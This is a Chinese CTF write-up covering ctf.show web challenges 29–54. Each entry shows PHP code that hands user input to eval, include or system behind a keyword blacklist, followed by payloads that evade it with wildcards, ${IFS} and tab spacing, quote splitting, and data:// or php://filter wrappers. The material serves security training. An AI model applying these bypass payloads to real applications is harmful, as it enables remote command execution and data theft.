目錄
web29
web30
web31
web32
web33
web34-web36
web37
web38
web39
web40
web41
web42
web43
web44
web45
web46
web47
web48
web49
web50
web51
web52
web53
web54
web29
<?php
?
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 00:26:48
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
?
*/
?
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
if(!preg_match("/flag/i", $c)){
在這一段代碼,我們知道只過濾掉了flag而且不區分大小
所需知識點通配符
*可以匹配0或多個字符
?可以匹配任意一個字符
[abcd] 匹配abcd中任何一個字符
[a-z] 表示范圍a到z,表示范圍的意思 []匹配中括號中任意一個字符
所以在這flag可以用f*或f???替代
所以這個題的payload
?c=system("cat f*.php")
也可以用cp命令
?c=system('cp fla?.php 1.txt')
再補充一下,另外繞過可以用引號,反斜杠
flag=fl\ag=fl''ag
web30
<?php
?
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 00:42:26
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
?
*/
?
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
過濾掉了flag,system,php關鍵字
所需知識點反引號執行命令
因為過濾掉了system,我們就得選擇其他的命令執行函式
最常用的無需echo
system()
passthru()
需用echo函式
反引號——``有system()的作用
exec()
shell_exec()
所以這個題的payload
?c=echo `cat f*`;
web31
<?php
?
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 00:49:10
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
?
*/
?
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
這個題增加了一些過了,比較重要的cat和空格過濾掉了
cat過濾時,可以替代繞過的姿勢
1.tac:從最后一行開始顯示,是cat的反向顯示
2.more:一頁一頁的顯示檔案內容
3.less:與more類似
4.head:查看檔案的前幾行
5.tail:查看檔案的后幾行
6.nl:顯示的時候,順便輸入行號
7.od:以二進制的方式讀取檔案內容
8.vi:一種編輯器
9.uniq:查看
10.vim:一種編譯器
空格過濾時,可以替代繞過的姿勢
1.${IFS}
2.$IFS$1
3.${IFS
4.%20
5.<和<>重定向符
6.%09
所以這個題的payload
?c=echo(`more%09f*`);
再附上大佬們的payload
?c=eval($_GET[1]);&1=system('cat flag.php');嵌套脫離了c的正則判斷
?c=echo`strings%09f*`;
?c="\x73\x79\x73\x74\x65\x6d"("nl%09fl[a]*");等價于system(),這個學到了!
然后另一個payload是hint,我感覺我是看不大懂原理,先放上,后期再學習
payload2
?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
web32
<?php
?
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 00:56:31
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
?
*/
?
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
又過濾掉了好多大小
; ( echo ' `
payload
首先分號可以用?>代替,括號可以用“”繞過,利用檔案包含的方式
?c=include"$_GET[1]"?>&1=php://filter/read=convert.base64-
encode/resource=flag.php
當然這里include也可換require
web33
<?php
?
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 02:22:27
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
//
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
可以直接用上一題的payload,但是需要去掉雙引號,因為引號被過濾掉了
?c=include$_GET[1]?>&1=php://filter/read=convert.base64-
encode/resource=flag.php
或者把include換成require
web34-web36
34題多過濾掉了:
35題多過濾掉了=<
36題過濾掉了數字,可以把1換為一個字母就可
都可以用上面兩題的payload直接一把梭
?c=include$_GET[1]?>&1=php://filter/read=convert.base64-
encode/resource=flag.php
web37
<?php
?
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 05:18:55
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
?
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
此時,這個地方為include($c),不是eval函式了,
過濾掉了flag,而且還進行了檔案包含
這個題考點為偽協議
data協議
?c=data://text/plain,<?php phpinfo();?>
可以執行,在這樣data協議,data會把后面的數字,字符,字串會作為php代碼來執行
所以這個題的payload
?c=data://text/plain,<?php system('cat fl??.php');?>
web38
<?php
?
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 05:23:36
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
?
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|php|file/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
在上一個題的基礎上,又過濾掉了php和file
過濾姿勢為短標簽
依然可以用上一題的payload,不過需要將php改為=
php的短標簽,<?=,可以為<?php
payload
?c=data://text/plain,<?=system("cat fla?.???");?>
web39
<?php
?
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 06:13:21
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
?
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c.".php");
}
}else{
highlight_file(__FILE__);
}
過濾掉了flag,并且限制了后綴為php
問題不大,可以直接用前兩題的payload,就可以得到flag
?c=data://text/plain,<?php system("cat fla?.php");?>
web40
<?php
?
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 06:03:36
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
?
?
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
過濾掉了好多東西符號
首先就是看一下提示,hint給的一個payload為無參函式進行檔案讀取
?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
可以得到flag
關于無參rce
?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
localeconv()回傳一包含本地數字及貨幣格式資訊的陣列,第一個是小數點,
pos()取得陣列內容
scandir()查看該路徑下的目錄
array_reverse()陣列逆轉
next() 函式將內部指標指向陣列中的下一個元素,并輸出,
show_source()顯示原始碼
web41
emmm,能力有限,看了羽大佬的wp也沒看懂
以后再補
<?php
?
/*
# -*- coding: utf-8 -*-
# @Author: 羽
# @Date: 2020-09-05 20:31:22
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 22:40:07
# @email: 1341963450@qq.com
# @link: https://ctf.show
?
*/
?
if(isset($_POST['c'])){
$c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
eval("echo($c);");
}
}else{
highlight_file(__FILE__);
}
?>
payload
<?php
$myfile = fopen("rce_or.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {
?
if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}
else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)|urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}
?
}
}
fwrite($myfile,$contents);
fclose($myfile);
web42
<?php
?
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 20:51:55
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
?
*/
?
?
if(isset($_GET['c'])){
$c=$_GET['c'];
system($c." >/dev/null 2>&1");
}else{
highlight_file(__FILE__);
}
這個題主要的東西為>/dev/null 2>&1,它的作用為執行某個命令不會有任何輸出
繞過方式:可以添加分號進行繞過,它會將分號后面的命令進行不再輸出,但分號前可以正常使用
payload
?c=ls;ls
?c=cat flag.php;ls
web43
<?php
?
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 21:32:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
?
*/
?
?
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
在上一題的基礎上,過濾掉了cat和分號
我們可以用&&符號進行繞過,或者||符號,特別注意&&符號要進行url編碼
&&符號的意思為前一個命令執行成功后才執行后一個命令
payload:
?c=tac flag.php%26%26ls
web44
<?php
?
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 21:32:01
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
?
*/
?
?
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/;|cat|flag/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
在上一題的基礎是多過濾掉了flag,很簡單的通配符繞過就好了
payload
?c=ls||ls
?c=tac fla?.php||ls
web45
<?php
?
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 21:35:34
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
?
*/
?
?
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| /i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
在上一題的基礎又過濾掉了空格
我們可以直接繞過就好,再復習一下繞過空格的姿勢
1.${IFS}
2.$IFS$1
3.${IFS
4.%20
5.<和<>重定向符
6.%09
payload
?c=tac${IFS}fla?.php||ls
web46
<?php
?
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 21:50:19
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
?
*/
?
?
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
又多過濾掉了數字,$,*
我們可以直接使用上一題的payload就可以,不過過濾空格的姿勢換為%09
比較特殊的地方,題目過濾掉了數字,我們這里還可以用%09,是因為,09解碼以后不為數字,
?c=tac%09fla?.php||ls
web47
<?php
?
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 21:59:23
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
?
*/
?
?
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
又多過濾掉了讀取檔案的姿勢,但是還是丟下了幾個姿勢
tac,nl,vi,uniq
我們還是可以直接用上一題的payload一把梭了
?c=tac%09fla?.php||ls
web48
<?php
?
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 22:06:20
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
?
*/
?
?
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
又過了掉了一些東西
依然用那個payload一把梭
?c=tac%09fla?.php||ls
web49
<?php
?
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 22:22:43
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
?
*/
?
?
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
這一題過了掉了反引號和百分號,但是依然可以使用之前的payload一把梭了
?c=tac&09fla?.php||ls
web50
<?php
?
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 22:32:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
?
*/
?
?
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
這個題過濾掉了&符號和09,而且不能用通配
所以我們可以這樣
?c=tac<fla''g.php||ls
兩個單引號可以分隔字串,執行后會忽略
web51
同web50
?c=nl<fla''g.php||ls
web52
<?php
?
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 22:50:30
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
?
*/
?
?
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
通道符被過濾掉了,但是$被放出來了
payload
?c=nl${IFS}fla''g.php||ls
不過直接訪問居然是假的flag
然后我們列一下根目錄
?c=ls${IFS}/||ls
在根目錄下發現了有一個flag
我們可以有兩個方法
方法一直接讀取
?c=nl${IFS}/fla?||ls
方法二復制檔案或移動檔案
?c=cp${IFS}/fla?${IFS}/var/www/html/b.txt||ls
b.txt
web53
<?php
?
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 18:21:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
?
*/
?
?
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
echo($c);
$d = system($c);
echo "<br>".$d;
}else{
echo 'no';
}
}else{
highlight_file(__FILE__);
}
這個題有的回傳值,system的回傳值為:
正確回傳最后一行,錯誤回傳flase
然后那個黑洞去掉了我們可以直接寫payload了
?c=ta''c${IFS}fla?.php
web54
<?php
?
/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 19:43:42
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
?
*/
?
?
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
過濾的特別多啊!!!
這個我們可以修改掉flag.php的名字,再訪問
payload
?c=mv${IFS}fla?.php${IFS}t.txt
t.txt
學到了一個姿勢,我們可以用mv修改掉flag檔案的名字,再訪問
未完待續~~~~~
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/294872.html
標籤:其他
上一篇:SpringBoot druid監控頁未授權訪問漏洞
下一篇:vulnhub DC5 靶場練習
